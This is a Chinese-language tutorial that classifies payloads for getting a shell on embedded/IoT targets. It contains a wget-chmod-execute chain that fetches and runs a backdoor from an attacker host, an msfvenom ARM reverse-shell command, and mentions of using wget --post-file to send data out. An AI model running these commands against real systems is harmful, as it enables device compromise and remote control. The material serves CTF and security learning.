Getshell载荷:payload的量级

Getshell的背后就是代码执行,执行的是shell程序,并且此进程的输入输出可控。不过由于漏洞位置不同,输入点不同,达到Getshell目标的攻击载荷也不同。可以按照攻击载荷的量级来对payload进行分类,个人分为如下四类:shellcode,ELF,param,command。

  shellcode ELF param command
格式 binary binary 字符串 字符串
底座 内存破坏 可控ELF执行 某命令参数可控 shell命令可控
进程 漏洞进程 被执行的新进程 漏洞进程/其启动的新进程 shell启动的新进程

并且量级的payload间是存在包含关系,因为到最后是一定要建立远程连接和执行shell程序的:

image

在嵌入式攻防的情景中,命令执行的payload常是下载我们构造的后门ELF程序,然后执行,所以我们的payload其实包含了两部分:ELF, command。如下我们先要自己编译出这个rsc后门,然后命令执行:

cmd  =  "cd /tmp &&"
cmd +=  "wget http://192.168.1.100:8000/rsc &&"
cmd +=  "chmod 777 ./rsc &&" 
cmd +=  "./rsc 192.168.1.100 8888"

最后如果不同意本文的量级划分,也可以参考msfvenom中的类型来划分payload:

➜  msfvenom --list formats

内存破坏: shellcode

具体参考:IoT安全研究视角的交叉编译:shellcode

总结shellcode一般有如下五种办法获得:

  1. pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’)
  2. msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py
  3. shell-storm: http://shell-storm.org/shellcode/
  4. exploit-db: https://www.exploit-db.com/shellcodes
  5. 自己编译:StarCTF 2021 RISC-V Pwn Favourite Architecture: shellcode编写练习

其中pwntools和自己编译两种方法是的确要进行本地编译的,不过这里的交叉编译工具就只要符合该指令集即可,没有C库的限制,因为一般来说不需要libc。

后门程序: ELF

具体参考:IoT安全研究视角的交叉编译:ELF

如果要产出一个ELF的话,一般来说是有以下3种方法:

  1. 自己编译:需要对应架构的完整的交叉编译工具链
  2. pwntools:需要对应架构的binutils
  3. msfvenom:不需要交叉编译工具,shellcode是现成的

选项注入: param

即无法逃逸出某个命令本体,只能任意构造该命令的选项参数加以利用,在CTF的Web中可能更常见。例如:使用wget的--post-file参数带出数据、使用find的-exec参数命令执行等。

linux中各种命令可以利用的选项总结:https://gtfobins.github.io/ ,其他示例:

命令执行: command

python、php等脚本程序执行算在这里,在Web情景中也可以称作代码注入。不过将此种情景算作选项注入也有道理,可看做解释程序固定,解释内容可控,内容就是解释程序的选项参数。如果可以任意的选择我用什么东西解释,python还是php等,这就得算命令执行了。怎么说都有理,理解即可。